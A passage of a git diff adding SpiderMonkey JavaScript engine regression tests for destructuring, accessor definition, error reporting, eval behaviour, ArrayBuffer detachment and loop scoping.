+var BUGNUMBER = 963641;
+var summary =
+ "__proto__ should work in destructuring patterns as the targets of " +
+ "for-in/for-of loops";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+function* objectWithProtoGenerator(v)
+{
+ yield objectWithProtoProperty(v);
+}
+
+function* identityGenerator(v)
+{
+ yield v;
+}
+
+for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+
+function nested()
+{
+ for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+ for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+ for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+ for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-order.js b/js/src/tests/non262/extensions/destructuring-order.js
new file mode 100644
index 0000000000..b1567e6a07
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-order.js
@@ -0,0 +1,150 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "Order of destructuring, destructuring in the presence of " +
+ "exceptions";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+
+var a = "FAILED", b = "PASSED";
+
+function exceptObj()
+{
+ return { get b() { throw "PASSED"; }, a: "PASSED" };
+}
+
+function partialEvalObj()
+{
+ try
+ {
+ ({a:a, b:b} = exceptObj());
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var c = "FAILED", d = "FAILED", e = "PASSED", f = "PASSED";
+
+function exceptArr()
+{
+ return ["PASSED", {e: "PASSED", get f() { throw "PASSED"; }}, "FAILED"];
+}
+
+function partialEvalArr()
+{
+ try
+ {
+ [c, {e: d, f: e}, f] = exceptArr();
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var g = "FAILED", h = "FAILED", i = "FAILED", j = "FAILED", k = "FAILED";
+var _g = "PASSED", _h = "FAILED", _i = "FAILED", _j = "FAILED", _k = "FAILED";
+var order = [];
+
+function objWithGetters()
+{
+ return {
+ get j()
+ {
+ var rv = _j;
+ _g = _h = _i = _j = "FAILED";
+ _k = "PASSED";
+ order.push("j");
+ return rv;
+ },
+ get g()
+ {
+ var rv = _g;
+ _g = _i = _j = _k = "FAILED";
+ _h = "PASSED";
+ order.push("g");
+ return rv;
+ },
+ get i()
+ {
+ var rv = _i;
+ _g = _h = _i = _k = "FAILED";
+ _j = "PASSED";
+ order.push("i");
+ return rv;
+ },
+ get k()
+ {
+ var rv = _k;
+ _g = _h = _i = _j = _k = "FAILED";
+ order.push("k");
+ return rv;
+ },
+ get h()
+ {
+ var rv = _h;
+ _g = _h = _j = _k = "FAILED";
+ _i = "PASSED";
+ order.push("h");
+ return rv;
+ }
+ };
+}
+
+function partialEvalObj2()
+{
+ ({g: g, h: h, i: i, j: j, k: k} = objWithGetters());
+}
+
+try
+{
+ partialEvalObj();
+ if (a !== "PASSED" || b !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "a == " + a + ", b == " + b;
+
+ partialEvalObj2();
+ if (g !== "PASSED" ||
+ h !== "PASSED" ||
+ i !== "PASSED" ||
+ j !== "PASSED" ||
+ k !== "PASSED")
+ throw "FAILED: order of property accesses wrong!\n" +
+ "order == " + order;
+
+ partialEvalArr();
+ if (c !== "PASSED" || d !== "PASSED" || e !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "c == " + c +
+ ", d == " + d +
+ ", e == " + e +
+ ", f == " + f ;
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js b/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js
new file mode 100644
index 0000000000..0d4b6f9c33
--- /dev/null
+++ b/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+"use strict"; // make test fail when limitation below is fixed
+
+var gTestfile = 'element-setting-ToNumber-detaches.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1001547;
+var summary =
+ "Don't assert assigning into memory detached while converting the value to " +
+ "assign into a number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Technically per current spec the element-sets should throw in strict mode,
+// but we just silently do nothing for now, somewhat due to limitations of our
+// internal MOP (which can't easily say "try this special behavior, else fall
+// back on normal logic"), somewhat because it's consistent with current
+// behavior (as of this test's addition) for out-of-bounds sets.
+
+var ab = new ArrayBuffer(64);
+var ta = new Uint32Array(ab);
+ta[4] = { valueOf() { detachArrayBuffer(ab); return 5; } };
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/empty.txt b/js/src/tests/non262/extensions/empty.txt
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/extensions/empty.txt
diff --git a/js/src/tests/non262/extensions/error-tostring-function.js b/js/src/tests/non262/extensions/error-tostring-function.js
new file mode 100644
index 0000000000..86751c39d8
--- /dev/null
+++ b/js/src/tests/non262/extensions/error-tostring-function.js
@@ -0,0 +1,45 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894653;
+var summary =
+ "Error.prototype.toString called on function objects should work as on any " +
+ "object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function ErrorToString(v)
+{
+ return Error.prototype.toString.call(v);
+}
+
+// The name property of function objects isn't standardized, so this must be an
+// extension-land test.
+
+assertEq(ErrorToString(function f(){}), "f");
+assertEq(ErrorToString(function g(){}), "g");
+assertEq(ErrorToString(function(){}), "");
+
+var fn1 = function() {};
+fn1.message = "ohai";
+assertEq(ErrorToString(fn1), "fn1: ohai");
+
+var fn2 = function blerch() {};
+fn2.message = "fnord";
+assertEq(ErrorToString(fn2), "blerch: fnord");
+
+var fn3 = function() {};
+fn3.message = "";
+assertEq(ErrorToString(fn3), "fn3");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/extensions/errorcolumnblame.js b/js/src/tests/non262/extensions/errorcolumnblame.js
new file mode 100644
index 0000000000..80c776520c
--- /dev/null
+++ b/js/src/tests/non262/extensions/errorcolumnblame.js
@@ -0,0 +1,79 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 568142;
+var summary = 'error reporting blames column as well as line';
+
+function test(f, col) {
+ var caught = false;
+ try {
+ f();
+ } catch (e) {
+ caught = true;
+ assertEq(e.columnNumber, col);
+ }
+ assertEq(caught, true);
+}
+
+/* Note single hard tab before return! */
+function foo(o) {
+ return o.p;
+}
+test(foo, 2);
+
+//345678901234567890
+test(function(f) { return f.bar; }, 20);
+// 1 2
+//3456789012345678901234567
+test(function(f) { return f(); }, 27);
+/* Cover negative colspan case using for(;;) loop with error in update part. */
+test(function(){
+ // 1 2 3 4
+ //123456789012345678901234567890123456789012
+ eval("function baz() { for (var i = 0; i < 10; i += a.b); assertEq(i !== i, true); }");
+ baz();
+}, 42);
+
+// 1 2 3
+//3456789012345678901234567890123456
+test(function() { var tmp = null; tmp(); }, 35)
+test(function() { var tmp = null; tmp.foo; }, 36)
+
+/* Just a generic 'throw'. */
+test(function() {
+// 1 2
+//345678901234567890
+ foo({}); throw new Error('a');
+}, 20);
+
+/* Be sure to report the right statement */
+test(function() {
+ function f() { return true; }
+ function g() { return false; }
+// 1 2
+//345678901234567890123456789
+ f(); g(); f(); if (f()) a += e;
+}, 29);
+
+// 1 2
+//345678901234567890
+test(function() { e++; }, 19);
+test(function() {print += e; }, 18);
+test(function(){e += 1 }, 17);
+test(function() { print[e]; }, 20);
+test(function() { e[1]; }, 19);
+test(function() { e(); }, 19);
+test(function() { 1(); }, 20);
+test(function() { Object.defineProperty() }, 26);
+
+test(function() {
+// 1 2
+//34567890123456789012
+ function foo() { asdf; } foo()
+}, 22);
+
+reportCompare(0, 0, "ok");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js b/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js
new file mode 100644
index 0000000000..681a157a8b
--- /dev/null
+++ b/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js
@@ -0,0 +1,281 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715821;
+var summary = "Implement __define[GS]etter__ using Object.defineProperty";
+
+print(BUGNUMBER + ": " + summary);
+
+/*************
+ * UTILITIES *
+ *************/
+
+function s(desc)
+{
+ if (typeof desc === "undefined")
+ return "<undefined>";
+ assertEq(typeof desc, "object");
+ assertEq(desc !== null, true);
+
+ var str = "<enumerable: <" + desc.enumerable + ">, " +
+ " configurable: <" + desc.configurable + ">,";
+
+ if (desc.hasOwnProperty("value"))
+ {
+ return str +
+ " value: <" + desc.value + ">," +
+ " writable: <" + desc.writable + ">>";
+ }
+
+ return str +
+ " get: <" + desc.get + ">," +
+ " set: <" + desc.set + ">>";
+}
+
+function checkField(field, desc, expected)
+{
+ var present = desc.hasOwnProperty(field);
+ assertEq(present, expected.hasOwnProperty(field),
+ field + " presence mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ if (present)
+ {
+ assertEq(desc[field], expected[field],
+ field + " value mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ }
+}
+
+function check(obj, prop, expected)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(typeof desc, typeof expected,
+ "type mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+
+ assertEq(desc.hasOwnProperty("get"), desc.hasOwnProperty("set"),
+ "bad descriptor: " + s(desc));
+ assertEq(desc.hasOwnProperty("value"), desc.hasOwnProperty("writable"),
+ "bad descriptor: " + s(desc));
+
+ assertEq(desc.hasOwnProperty("get"), !desc.hasOwnProperty("value"),
+ "bad descriptor: " + s(desc));
+
+ checkField("get", desc, expected);
+ checkField("set", desc, expected);
+ checkField("value", desc, expected);
+ checkField("writable", desc, expected);
+ checkField("enumerable", desc, expected);
+ checkField("configurable", desc, expected);
+}
+
+function expectTypeError(f)
+{
+ try
+ {
+ f();
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error thrown: got " + e + ", not a TypeError");
+ }
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Adding a new getter, overwriting an existing one
+
+function g1() { }
+var gobj = {};
+gobj.__defineGetter__("foo", g1);
+check(gobj, "foo", { get: g1, set: undefined, enumerable: true, configurable: true });
+
+function g2() { }
+gobj.__defineGetter__("foo", g2);
+check(gobj, "foo", { get: g2, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new setter, overwriting an existing one
+
+function s1() { }
+var sobj = {};
+sobj.__defineSetter__("bar", s1);
+check(sobj, "bar", { get: undefined, set: s1, enumerable: true, configurable: true });
+
+function s2() { }
+sobj.__defineSetter__("bar", s2);
+check(sobj, "bar", { get: undefined, set: s2, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new getter, then adding a setter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function g3() { }
+var gsobj = {};
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: undefined, enumerable: true, configurable: true });
+
+function s3() { }
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { configurable: false });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s2); });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s3); });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a new setter, then adding a getter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function s4() { }
+var sgobj = {};
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: undefined, set: s4, enumerable: true, configurable: true });
+
+function g4() { }
+sgobj.__defineGetter__("baz", g4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { configurable: false });
+expectTypeError(function() { sgobj.__defineGetter__("baz", g3); });
+expectTypeError(function() { sgobj.__defineSetter__("baz", s4); });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a writable data property
+
+function g5() { }
+var gover = { quux: 17 };
+check(gover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+gover.__defineGetter__("quux", g5);
+check(gover, "quux", { get: g5, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a writable data property
+
+function s5() { }
+var sover = { quux: 17 };
+check(sover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+sover.__defineSetter__("quux", s5);
+check(sover, "quux", { get: undefined, set: s5, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-writable data property
+
+function g6() { }
+var gnover = { eit: 17 };
+check(gnover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gnover, "eit", { writable: false });
+check(gnover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+gnover.__defineGetter__("eit", g6);
+check(gnover, "eit", { get: g6, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a non-writable data property
+
+function s6() { }
+var snover = { eit: 17 };
+check(snover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(snover, "eit", { writable: false });
+check(snover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+snover.__defineSetter__("eit", s6);
+check(snover, "eit", { get: undefined, set: s6, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, writable data property
+
+function g7() { }
+var gncover = { moo: 17 };
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncover, "moo", { configurable: false });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncover.__defineGetter__("moo", g7); });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, writable data property
+
+function s7() { }
+var sncover = { moo: 17 };
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncover, "moo", { configurable: false });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncover.__defineSetter__("moo", s7); });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, non-writable data property
+
+function g8() { }
+var gncwover = { fwoosh: 17 };
+check(gncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncwover, "fwoosh", { writable: false, configurable: false });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncwover.__defineGetter__("fwoosh", g7); });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, non-writable data property
+
+function s8() { }
+var sncwover = { fwoosh: 17 };
+check(sncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncwover, "fwoosh", { writable: false, configurable: false });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncwover.__defineSetter__("fwoosh", s7); });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js b/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js
new file mode 100644
index 0000000000..017ccf1c74
--- /dev/null
+++ b/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testArrayGeneric()
+{
+ var global = "psych!";
+ var eval = Array.map;
+
+ var mapped = eval([directCheckCode], originalEval);
+ assertEq(mapped[0], true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/expression-closure-syntax.js b/js/src/tests/non262/extensions/expression-closure-syntax.js
new file mode 100644
index 0000000000..e09f0d3d93
--- /dev/null
+++ b/js/src/tests/non262/extensions/expression-closure-syntax.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getBuildConfiguration
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1416337;
+var summary =
+ "Expression closure syntax is only permitted for functions that constitute " +
+ "entire AssignmentExpressions, not PrimaryExpressions that are themselves " +
+ "components of larger binary expressions";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (getBuildConfiguration().release_or_beta)
+{
+ function assertThrowsSyntaxError(code)
+ {
+ function testOne(replacement)
+ {
+ var x, rv;
+ try
+ {
+ rv = eval(code.replace("@@@", replacement));
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "should have thrown a SyntaxError, instead got: " + e);
+ return;
+ }
+
+ assertEq(true, false, "should have thrown, instead returned " + rv);
+ }
+
+ testOne("function");
+ testOne("async function");
+ }
+
+ assertThrowsSyntaxError("x = ++@@@() 1");
+ assertThrowsSyntaxError("x = delete @@@() 1");
+ assertThrowsSyntaxError("x = new @@@() 1");
+ assertThrowsSyntaxError("x = void @@@() 1");
+ assertThrowsSyntaxError("x = +@@@() 1");
+ assertThrowsSyntaxError("x = 1 + @@@() 1");
+ assertThrowsSyntaxError("x = null != @@@() 1");
+ assertThrowsSyntaxError("x = null != @@@() 0 ? 1 : a => {}");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} !== null");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}.toString");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}['toString']");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}``");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}()");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}++");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} || 0");
+ assertThrowsSyntaxError("x = 0 || @@@() 0 ? 1 : a => {}");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} && true");
+ assertThrowsSyntaxError("x = true && @@@() 0 ? 1 : a => {}");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js b/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js
new file mode 100644
index 0000000000..96689b0152
--- /dev/null
+++ b/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js
@@ -0,0 +1,105 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This test fills out for the non-standard methods which
+// non262/misc/builtin-methods-reject-null-undefined-this.js declines to test.
+
+var ClassToMethodMap =
+ {
+ Object: ["toSource"],
+ Function: ["toSource"],
+ Array: ["toSource"],
+ String: ["toSource"],
+ Boolean: ["toSource"],
+ Number: ["toSource"],
+ Date: ["toSource"],
+ RegExp: ["toSource"],
+ Error: ["toSource"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/file-mapped-arraybuffers.js b/js/src/tests/non262/extensions/file-mapped-arraybuffers.js
new file mode 100644
index 0000000000..d69161554f
--- /dev/null
+++ b/js/src/tests/non262/extensions/file-mapped-arraybuffers.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function viewToString(view)
+{
+ return String.fromCharCode.apply(null, view);
+}
+
+function test() {
+ var filename = "file-mapped-arraybuffers.txt";
+ var buffer = createMappedArrayBuffer(filename);
+ var view = new Uint8Array(buffer);
+ assertEq(viewToString(view), "01234567abcdefghijkl");
+
+ var buffer2 = createMappedArrayBuffer(filename, 8);
+ view = new Uint8Array(buffer2);
+ assertEq(viewToString(view), "abcdefghijkl");
+
+ var buffer3 = createMappedArrayBuffer(filename, 0, 8);
+ view = new Uint8Array(buffer3);
+ assertEq(viewToString(view), "01234567");
+
+ // Test detaching during subarray creation.
+ var nasty = {
+ valueOf: function () {
+ print("detaching...");
+ serialize(buffer3, [buffer3]);
+ print("detached");
+ return 3000;
+ }
+ };
+
+ var a = new Uint8Array(buffer3);
+ assertThrowsInstanceOf(() => {
+ var aa = a.subarray(0, nasty);
+ for (i = 0; i < 3000; i++)
+ aa[i] = 17;
+ }, TypeError);
+
+ // Check that invalid sizes and offsets are caught
+ assertThrowsInstanceOf(() => createMappedArrayBuffer("empty.txt", 8), RangeError);
+ assertThrowsInstanceOf(() => createMappedArrayBuffer("empty.txt", 0, 8), Error);
+}
+
+if (getBuildConfiguration()["mapped-array-buffer"])
+ test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt b/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt
new file mode 100644
index 0000000000..4289a17b8f
--- /dev/null
+++ b/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt
@@ -0,0 +1 @@
+01234567abcdefghijkl \ No newline at end of file
diff --git a/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js b/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
new file mode 100644
index 0000000000..9f6fd6467c
--- /dev/null
+++ b/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "for-loop-with-lexical-declaration-and-nested-function-statement.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x) {
+ function q1() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x) {
+ function q2() {}
+ }
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x) {
+ function q3() {}
+ }
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x) {
+ function q4() {}
+ }
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ function q5() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q6() {}
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q7() {}
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q8() {}
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("function q9() {}");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q10() {}");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q11() {}");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("function q12() {}"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js b/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js
new file mode 100644
